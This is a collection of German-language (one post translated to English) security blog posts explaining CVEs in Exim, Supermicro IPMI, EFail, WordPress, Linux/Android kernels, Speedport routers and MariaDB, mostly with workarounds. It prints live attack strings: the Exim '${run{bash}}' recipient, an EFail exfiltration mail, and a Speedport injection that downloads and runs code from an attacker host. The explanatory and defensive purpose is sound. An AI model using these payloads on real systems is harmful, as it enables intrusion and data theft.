Quickfix: Exim <= 4.91 for CVE-2019-10149

Ok, Exim 4.87 < 4.92 has a serious security hole, which can also be trivially exploited: CVE-2019-10149

A lot of fuss has been made about the weak point, but unfortunately nobody has been able to tell whether it can be fended off without an update. Let’s have a look at what it’s all about.

What is the trivial exploit?

As a local attacker it is enough to send an email with Exim’s sendmail replacement to „<${run{bash}}@zieldomain.de>“. At the moment it is delivered, the embedded command (here bash) is executed as root.

The whole thing can also be executed remotely, so it’s a really nasty vulnerability. But only versions > 4.87 < 4.92 are affected. For this, however, various things must be allowed in the config, which is only partially the case in the default configuration. For example, you cannot include a „/“ in the command because these are illegal characters. This of course restricts the attacker from being strong.

Since even on the exim list there was a lot of secrecy in the game until today, here are the equally trivial countermeasures:

Countermeasures

Just don’t allow „$“ in email addresses 😀 That’s it. There only ARGS came to my mind 😀

This comes into your Exim configuration, then restart Exim:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./


.

acl_check_mail:




drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}}

# IMPORTANT: Write in before these instructions, otherwise it’s not working!

accept hosts = +relay_from_hosts

This chokes off the attacker before the email is delivered.

The better countermeasure would of course be to switch to a more recent Exim. But as it is, there are always „reasons“ why and why something can’t be updated.

Nobody gets his teeth apart…

What annoys me most of all about the gap is that this cheap countermeasure does not appear in the Advisory of Qualys and in the hints of the Exim Team. With the Exim people I can still understand it, because they had fixed the bug independently already at the beginning of the year and can say justly: Just do updates.

Qualyss looks different, they write :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Nice that you omitted the exploit, how about the workaround, so that the good guys have a small lead?  And this cryptic hint „a remote attack takes a long time to succeed“ means that you should restart your exim every 24h, because there is some shit with „tar pits“.

These are usually spam traps that respond so slowly that the attacker’s attack is just as tough as in a tar pit, up to „no progress at all“. The attackers take advantage of something like this here. Therefore once in the cron „killall -9 exim; systemctl restart exim“ daily  : Done.

A follow-up of the aftermatch and some real exploits can be found here: Exim – Exploit in der Wildnis unterwegs

Translated with www.DeepL.com/Translator

BTW: yes, ofcourse i could have written it in english myself, but the translation isn’t that bad 😉

Supermicro IPMI mit Remote-Exploit < FW 3.8

WARNUNG: Wer einen SuperMicro Server betreibt und noch die IPMI Firmware < 3.80 betreibt und extern erreichbare IPs benutzt, wird bald unerwĂŒnschten Besuch erhalten!

CVE-2019-6260

In der 3.65 Version der Firmware ist eine Schwachstelle enthalten, ĂŒber die Hacker Zugriff auf das System bekommen können. Ein sofortiges Update ist angeraten, aber vorher prĂŒfen, ob Ihr nicht schon infiziert seid, weil sonst Beweise vernichtet werden.

Workaround: die IP auf eine lokale IP umstellen

$ ipmitool lan set 1 ipaddr 192.168.1.2
$ ipmitool lan set 1 ipsrc static

Static, damit sich das nicht per DHCP Update wieder umstellt! DHCP als DEFAULT fĂŒr eine IPMI !!! unglaublich!

Wie kommt man darauf? Wenn man einen Anruf bekommt, daß das Cluster XZY plötzlich so langsam reagiert und ein XenServer Mensch da mal nachsehen soll. Warum war es langsam, weil da jemand BitCoin gemint hat, mit allen 52 Kernen 😀

FĂŒr den Fall, daß Euch das auch passiert, hier eine Checkliste:

CHECKLISTE

  1. last -ai
    Wenn im last-Output „tty“ als Konsole auftaucht, ohne IP, dann ist es die IPMI.
  2. /etc/passwdDie mĂŒĂŸt Ihr auf einen weiteren Rootuser hin checken, also 0:0 als UID:GID. Wenn da, dann auch in der /etc/shadow löschen
  3. crontab -lPrĂŒfen ob der Miner per Cron neugestartet wird.
  4. CronjobsPrĂŒfen ob die Cronjobs unter /etc/cron* manipuliert oder welche hinzugefĂŒgt wurden.
  5. Verbindungen checkenmit „netstat -lnap| grep LISTEN“ prĂŒfen ob da Dienste laufen, die da nicht hingehören.
    mit „netstat -lnap| grep VERBUNDEN“ prĂŒfen, ob da grade aktiv was ausgeleitet wird.
  6. System ĂŒberprĂŒfen, z.b. „yum reinstall *“ um unverĂ€nderte Software zu bekommen, aber Vorsicht, daß kann auf einem Produktionssystem auch in die Hose gehen. Vielleicht weniger invasiv mal nach kĂŒrzlich geĂ€nderten Dateien suchen:find / -ctime -30
    find / -mtime -30

Im Beispiel sind es 30 Tage. Wenn man dann „verdĂ€chtige“ Files hat, kann man z.b. rpm -qf filename benutzen und sieht, ob die ĂŒber das System kamen oder von Hand sind.

Kleines Update: „rpm -qa | awk ‚{print „rpm -V „$1;}‘ | bash“ sehr nĂŒtzlich beim prĂŒfen von korrekten Files.

WICHTIG: ERST MIT TAR ARCHIVIEREN, DANN LÖSCHEN! Gilt auch fĂŒr Logfiles.

Link: https://nvd.nist.gov/vuln/detail/CVE-2019-6260

EFail: Die Katze ist aus dem Sack

Die Katze ist aus dem Sack, das Whitepaper zur EFAIL Schwachstelle ist bekannt. Als Entwickler auch von komplexen Programmen zum Parsen von (auch abgedrehten) Formaten, kann ich Euch sagen, daß es genug Scheisse da draußen gibt, die man fehlertolerant behandeln kann, aber die EFAIL Schwachstelle ist genau das : EIN MEGAFAIL!

Selbstgemachtes GPG Schwachstellen Logo 🙂

EFail – Der MEGAFAIL

Der Exploit basiert darauf, daß man eine verschlĂŒsselte Email an den EmpfĂ€nger A abgefangen hat, diese aber nicht dekodieren kann. Das bleibt auch nach der LĂŒcke so! Also PGP/GPG sind an sich fein raus, die haben gar keine Schuld an der Sache.

Nun bettet man den verschlĂŒsselten Block der Mail in eine Multipart-Mime Message, die aus zwei HTML und einem Cipherblock (dem verschlĂŒsselten Mailteil) besteht. Das könnte so aussehen:

From: <unverdÀchtig@kenneich.de>
To: <opfer@opfer.de>
Content-Type: multipart/mixed;boundary="GRENZE"

--GRENZE
Content-Type: text/html;charset=ascii

<html><body><img src="https://efail.de/
--GRENZE
Content-Type: application/pkcs7-mine;smine-type=enveloped-data
Content-Transfer-Encoding: base64

hQIMA+PS/5obaKVzARAAuG0PvUFHEzRp+U9HAm1GgjnUwy6afP60q0QYl9vWby5h
ysIVpoXrHZqn3H8f/+FjsoZ2YpDlCqhvKzn/UaP8kxb21YN1+eSaMi55b6WFyIif
hbxnp2Z155YM6Sx+VrTa55DQEF2c7LzyFKcE1csRiB0py+bWJKFPERRhXxSVOMpv
sZB3oLcZmBS990RgjbGUUZhXClxubwwqXo3K41Wj8kktQvZ7YD6hMz46V26kN4Ru
PLt1PQ/+P0iznlNjXaIckLXUq/RNpRMC5469Dp674OECZ2kc3fFrv5zkZcs0Kg5r
...
--GRENZE
Content-Type: text/html;charset=ascii

"></body></html>
--GRENZE--

Was jetzt passiert ist, daß der Mimeparser des Emailprogramms, den verschlĂŒsselten Block vom PGP Plugin dekodieren lĂ€ĂŸt und nahtlos in das umgebende HTML einfĂŒgt. Es kommt dann eine URL raus wie => „https://efail.de/TEXT+DER+NACHRICHT+AN+DEN+EMPFÄNGER“, welche als Bild in dem HTML eingebettet ist, was die meisten Mailprogramme dazu bringt, diese sofort zu rendern. Also schickt der Client damit eine Bildanfrage und ĂŒbertrĂ€gt so die dekodierte Nachricht.

Voraussetzungen

1. Man braucht eine verschlĂŒsselte Email an den EmpfĂ€nger
2. Man braucht einen Webserver, der mehr als 512 Zeichen in der URL annimmt ( selbstschreiben vermutlich)
3. Man braucht ein Emailprogramm beim Opfer, dessen Parser von einem Irren geschrieben wurde
UND 4. das ungefragt Bilder von externen unbekannten Webseiten nachlÀdt.

1+2 kann der Angreifer liefern, 3+4 muß das Opfer beisteuern.

Der Pressetenor

Der allgemeine Pressetenor war heute, daß die Plugins einen Bug haben. Wenn aber obiges so zutrifft, dann haben die Plugins keinen BUG, sie sind nur zwingend notwendig, daß der Angriff automatisch ablaufen kann. Schaltet man die aus, lĂ€uft der Angriff ins Leere.

Was in einigen Webseiten aber abgeleitet wurde war, daß die VerschlĂŒsselung geknackt wurde und das trotz monatelanger Vorwarnung, die Emailprogramme keinen Schutz dagegen gefunden haben.

Das aber ist LÄCHERLICH.

Hier wird wiedermal eine Sau durchs Dorf getrieben, die es nicht verdient hat. Ja, das Ganze ist ein Bug. Ja, der ist in der Wirkung echt schlimm. Nein, die VerschlĂŒsselung wurde nicht geknackt, die wurde nur vom Emailprogramm automatisch aufgehoben und exfiltriert und genau da liegt der Hund begraben. Wie kann man nur einen Parser bauen, der die drei Teile einer Email, die als DREI Teile in der Email vorliegen, zu einem Teil zusammen fassen? Das ist die Frage.

Die, die den Parser geschrieben haben, der die drei Teile verbindet, die sollten ihre StudiengebĂŒhren zurĂŒck bekommen, sofern sie welche gezahlt haben!

Schlimmer ist nur noch, daß mindestens drei unterschiedliche Teams den gleichen Fehler gemacht haben.

Updates

Thunderbird wird erst mit einer Version 52.8 nicht mehr verwundbar sein. Ich nehme mal an, die Version kommt jetzt etwas zĂŒgiger raus, als geplant.

Mozilla FireFox ESR Exploit

Ok Leute, wer von Euch fÀhrt noch eine FireFox ESR 52 Version ?  Zeit zu Updaten und zwar ZZ!

Bug 1557221 – (CVE-2018-5146) CVE-2018-5146 Mozilla: Vorbis audio processing out (Redhat)

Betroffene Software Versionen : ALLE vor  FF 59

Neue Logos scheint Mozilla, im Gegensatz zu grundlegenden Securityaudits, lieber zu mögen.

Quelle: https://www.securityfocus.com/bid/103432/info

Schau sich mal einer die Versionsliste an 😉 ALLE meint wirklich ALLE 😀

WordPress DOS – wp-admin Verzeichnis schĂŒtzen

Die Hacker News berichten von einem Angriff auf WordPress, der von Seiten der Entwickler als „nicht-unsere-Baustelle“ abgeschmettert wurde, aber ganz leicht abgewehrt werden kann.

Der Angriff

Im wp-admin Verzeichnis gibt es ein Script namens „load-scripts.php„, das auf Zuruf, und liegt das Problem, alle Javascripte der Installation, zu einer gemeinsamen Javascriptseite zusammenbaut, damit der Browser nicht jede einzeln laden muß. Das Problem daran ist, jeder kann die Seite aufrufen. Wenn man dann noch die gesamten Javascripte eines WordPress zusammenstellen lĂ€ĂŸt, reichen wenige Aufrufe, bis die Webseite offline ist.

Das liegt daran, daß bei der Zusammenstellung sehr viel IO entsteht, was den Webserver belastet. Dadurch wird alles langsamer, bis es bei genug Anfragen zum faktischen Stillstand kommt. Dazu kommt eine erhöhte Rechenleistung wĂ€hrend die Scripte Ihren Job tun.

Was meint WordPress dazu ?

Die sagen, daß ein Admin diese Seite aufrufen können muß, wenn er noch nicht als Admin erkennbar ist. Also muß es jeder können. Man solle doch das Problem irgendwo anders löschen, nur nicht bei Ihnen.

„However, the company refused to acknowledge the issue, saying that this kind of bug „should really get mitigated at the server end or network level rather than the application level,“ which is outside of WordPress’s control.“ (Zitat von THN )

Das ist natĂŒrlich peinlich, weil jemand das in WordPress gefixt hat und einen Fork davon bereitstellt. Es ist also scheinbar leicht möglich es zu beheben.

Eine Lösung des Problems

Wenn Ihr Zugriff auch Euren Webserver habt, erstellt Ihr einfach fĂŒr wp-admin eine .htaccess Datei . Das kann man ĂŒber eine WeboberflĂ€che lösen, so wie hier :

Wenn man die HT-Accessabfrage mit  Usernamen und Passwort anlegt, fragt einen der Browser nach den Zugangsdaten, aber merkt sich die auch, so daß man selbst recht unproblematisch wieder ins Backend gelangt. ( Die 5.6 Version von PHP ist wohl beim Testen hĂ€ngen geblieben und wurde bereinigt 😉 ).

Nach dem Anlegen zeigt meine OberflĂ€che dann auch an, daß dort eine HTAccess mit Benutzernamen liegt :

Admin-WeboberflÀche nach dem Anlegen des Benutzers

Nach dem Anlegen des Benutzers

Wenn man das alles von Hand machen muß, geht das so :

In die Datei wp-admin/.htaccess  kommt dieser Inhalt, bei dem Ihr den Pfad anpassen mĂŒĂŸt:

AuthType Basic
AuthName "Das ist mein WordPress!"
AuthUserFile /path_to_wp/wp-admin/.htpasswd
Require valid-user

danach gibt man in der Bash ein :

htpasswd -bc  /path_to_wp/wp-admin/.htpasswd username password

Das war es dann schon. Jetzt noch im Browser wp-admin/ aufrufen und die neuen Zugangsdaten eingeben und auf Speichern drĂŒcken.

WordPress updaten auf min. 4.7.5

Lieber Blogger Kollegen,

sofern Ihr WordPress einsetzt und es nicht schon automatisch geschehen ist, updated bitte Eure WordPress auf min. Version 4.7.5. Alle kleineren Versionen haben eine Cross-Site-Request-Forgery-Schwachstelle, d.h. jemand drittes kann auf seiner Webseite einen Vorgang auslösen, bei dem Eurer Browser etwas in Eurem WordPress durchfĂŒhrt, ohne das Ihr das merkt. NatĂŒrlich nur, wenn Ihr permanent eingeloggt sein 😉

IoT: Dildo mit WLAN Accesspoint , Default Root und WebCam

Ja, richtig gelesen, das IoT Desaster geht in die nĂ€chste Runde. Wie Heise auf seiner Webseite berichtet, wurde der Hersteller eines WLAN fĂ€higen und mit WebCam ausgerĂŒsteten Dildos bereits 2016 ĂŒber die mannigfaltigen Schwachstellen seines Produkts informiert. Vor lauter Brumm-Brumm muß er den Hinweis wohl ĂŒberhört haben, denn passiert ist nichts.

Den ganzen Spaß lest Ihr im Link unten.

Quelle: www.heise.de

Root-Exploit im TCP/IP Stack – CVE-2016-8655

Im Linux Kernel klafft die nĂ€chste Root-LĂŒcke, diesmal im Netzwerkbereich, dem TCP/IP Stack.

Die LĂŒcke können nur lokale Prozesse ausnutzen, i.d.R. braucht es daher eine weitere SicherheitslĂŒcke z.b. im Browser oder einen angemeldeten Benutzer.  Das Ganze betrifft somit „eigentlich“ nur Server.

Updates gibt es derzeit fĂŒr Fedora noch keine. Der neuste Kernel 4.8.12-200 vom 2.12. behebt das Problem  noch nicht, trotzdem sollte man den schon einspielen, denn wie man sieht, behebt er andere Securityprobleme:

* Fr Dez 02 2016 Justin M. Forbes <jforbes@fedoraproject.org> – 4.8.12-200
– Linux v4.8.12
– CVE-2016-9755 Fix Out-of-bounds write issue when defragmenting ipv6 packets (rhbz 1400904 1400905)
– CVE-2016-9756 Fix kvm: stack memory information leakage (rhbz 1400468 1400469)
– Fix kvm: out of bounds memory access via vcpu_id (rhbz 1400804 1400805)

Ubuntu stellt als erster gepatchte Kernel bereit, muß man auch mal lobend erwĂ€hnen.

Den Exploit fĂŒr Ubuntu gibt es hier:

Linux Kernel 4.4.0 AF_PACKET Race Condition / Privilege Escalation

Wie man im Source lesen kann, hat sich der Autor auch schon an Fedora 25 probiert, es aber wieder auskommentiert.

Die nĂ€chste SicherheitslĂŒcke klafft ĂŒbrigens im Android Kernel, da können alle bekannten Android Versionen ab 4.4.4 von außen komplett ĂŒbernommen werden. Erste Patche sind zwar schon bei den Herstellern verfĂŒgbar, aber wann die #1 Samsung, das Update bereitstellt, steht in den Sternen 🙁

Hier mal die Liste der von Google genannten Schwachstellenreports, die damit zusammen hÀngen, einige sind schon zwei Jahre alt :

CVE-2016-9120: Schwachstelle in Kernel ION Subsystem ermöglicht komplette
CVE-2016-8411: Schwachstellen in Qualcomm Komponenten ermöglichen komplette
CVE-2016-8410: Schwachstelle in Qualcomm Audiotreiber ermöglicht AusspÀhen
CVE-2016-8408 CVE-2016-8409: Schwachstellen in NVIDIA Grafiktreiber
CVE-2016-8401 CVE-2016-8402 CVE-2016-8403 CVE-2016-8404 CVE-2016-8405
CVE-2016-8406 CVE-2016-8407: Schwachstellen in Kernelkomponenten ermöglichen
CVE-2016-8400: Schwachstelle in NVIDIA Grafikbibliothek ermöglicht AusspÀhen
CVE-2016-8399: Schwachstelle im Netzwerk-Subsystem ermöglicht komplette
CVE-2016-8397: Schwachstelle in NVIDIA Grafiktreiber ermöglicht AusspÀhen
CVE-2016-8396: Schwachstelle in MediaTek Grafiktreiber ermöglicht AusspÀhen
CVE-2016-8395: Schwachstelle in NVIDIA Kameratreiber ermöglicht
CVE-2016-8393 CVE-2016-8394: Schwachstellen im Synaptics Touchscreen-Treiber
CVE-2016-6915 CVE-2016-6916 CVE-2016-6917: Schwachstellen im NVIDIA
CVE-2016-6791 CVE-2016-8391 CVE-2016-8392: Schwachstellen im Qualcomm
CVE-2016-6789 CVE-2016-6790: Schwachstellen in NVIDIA Grafikbibliothek
CVE-2016-6788: Schwachstelle im MediaTek I2C-Treiber ermöglicht komplette
CVE-2016-6786 CVE-2016-6787: Schwachstellen im Performance-Subsystem
CVE-2016-6778 CVE-2016-6779 CVE-2016-6780: Schwachstellen im HTC
CVE-2016-6775 CVE-2016-6776 CVE-2016-6777: Schwachstellen in NVIDIA
CVE-2016-6774: Schwachstelle in Package Manager ermöglicht AusspÀhen von
CVE-2016-6773: Schwachstelle in Mediaserver ermöglicht AusspÀhen von
CVE-2016-6772: Schwachstelle in Wi-Fi ermöglicht AusfĂŒhren beliebigen
CVE-2016-6771: Schwachstelle in Telephony ermöglicht Privilegieneskalation
CVE-2016-6770: Schwachstelle in Framework API ermöglicht
CVE-2016-6769: Schwachstelle in Smart Lock ermöglicht Privilegieneskalation
CVE-2016-6768: Schwachstelle in Bibliothek Framesequence ermöglicht
CVE-2016-6767: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6765: Schwachstelle in Mediaserver ermöglicht
CVE-2016-6764 CVE-2016-6766: Schwachstellen in Mediaserver ermöglichen
CVE-2016-6763: Schwachstelle in Telephony ermöglicht
CVE-2016-6762: Schwachstelle in libziparchive ermöglicht AusfĂŒhrung
CVE-2016-6758 CVE-2016-6759 CVE-2016-6760 CVE-2016-6761: Schwachstellen in
CVE-2016-6756 CVE-2016-6757: Schwachstellen in Qualcomm Komponeten
CVE-2016-6755: Schwachstelle in Qualcomm Kamera-Treiber ermöglicht
CVE-2016-6492 CVE-2016-6781 CVE-2016-6782 CVE-2016-6783 CVE-2016-6784
CVE-2016-6785: Schwachstellen in MediaTek-Treiber ermöglichen AusfĂŒhrung
CVE-2016-5341: Schwachstelle in Qualcomm GPS-Komponente ermöglicht
CVE-2015-8967: Schwachstelle in Kernel ermöglicht AusfĂŒhrung beliebigen
CVE-2015-8966: Schwachstelle in Kernel ermöglicht AusfĂŒhrung beliebigen
CVE-2014-9909 CVE-2014-9910: Schwachstellen in Broadcom Wi-Fi-Treiber
CVE-2016-5195: Schwachstelle in Linux-Kernel ermöglicht Erlangen von
CVE-2016-5421: Schwachstelle in cURL ermöglicht AusfĂŒhrung beliebigen
CVE-2016-5420: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-5419: Schwachstelle in cURL ermöglicht Umgehen von
CVE-2016-4794: Schwachstelle in Linux-Kernel ermöglicht
CVE-2015-7872: Schwachstelle in Linux-Kernel erlaubt
CVE-2014-4014: Schwachstelle im Linux-Kernel ermöglicht

Speedportrouter der DTAG von Sicherheitsloch betroffen

Jetzt ist es endlich final, die DSL-Speedportrouter der Deutschen Telekom haben ein Sicherheitsloch auf Port 7547 :

https://isc.sans.edu/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759

und ein echt dreckiges dazu, weil die Kisten a) auf jeden Zugriff reagieren und b) eine Remote-Execution möglich ist. Der Hack funktioniert so:

<NewNTPServer1>
`cd /tmp;wget http://angreiferszum nachladen von code/1>;chmod 777 1;./1`
</NewNTPServer1>
<NewNTPServer2></NewNTPServer2>
<NewNTPServer3></NewNTPServer3>
<NewNTPServer4></NewNTPServer4>
<NewNTPServer5></NewNTPServer5>

NatĂŒrlich gehört zu dem Request noch mehr, aber das sind die Grundlagen und aus dem Kontext kann man ersehen, daß hier einfach ein parameter aus dem Web genommen wird und an die Bash weitergereicht wird ohne den Inhalt auf Konsistenz zu prĂŒfen. Ein einfacher Test, ob da ein Domainname/IP drinsteht, hĂ€tte das bundesweite Chaos vom Wochenende verhindert.

Die DSL-Router wurden Ihnen „proudly presented by Zyxel“ !!! Amis 😉

 

Noch keine Patches fĂŒr MariabDB Root Exploits vorhanden

FĂŒr die u.a. bei The Hacker News gemeldeten Root-Exploits fĂŒr MariaDB gibt es noch keine Patche im Fedora Repository, auch nicht im Unstable Bereich. Da hilft nur, den möglichen Exploit durch Verschleierung zuvermeiden.

Der bereits verfĂŒgbare Testexploit, legt Dateien im /tmp/ Ordner an. Das kann man schon mal verhindern, indem beim Start mit Systemd ein privates Temp-Verzeichnis benutzt wird. Das verhindert den Hack nicht, aber die kleinen Scriptkids werden an der HĂŒrde scheitern 😉

Wenn man sein mariadb.service File nicht geÀndert hat, kommt es in Fedora bereits mit der richtigen Einstellung:

[Unit]
Description=MariaDB 10.0 database server

# Place temp files in a secure directory, not /tmp
PrivateTmp=true

In der my.cnf sollte man sowieso immer das Benutzen von Symbolischen Links abschalten, eine Serverdatenbank braucht das i.d.R. nicht:

symbolic-links=0

Damit kann man auch ohne Patch CVE-2016-6662 nicht ausnutzen um seine Rechte zu eskalieren. Wer bislang „mariadb-10.0.27-1“ noch nicht eingespielt hat, sollte das trotzdem dringend nachholen.

Gegen die LĂŒcken CVE-2016-6663 und CVE-2016-6664 sind die Patche bei Fedora noch in Arbeit. Leider ist auch im Koji noch keine Testversion ersichtlich. Die letzten Builds stammen vom Anfang des Monats, welche zudem die CVE Patche nicht enthalten. Dies kann natĂŒrlich daher rĂŒhren, daß diese Versionen nicht anfĂ€llig waren, da es sich um den 10.1.17/18 er Zweig von Mariadb handelt.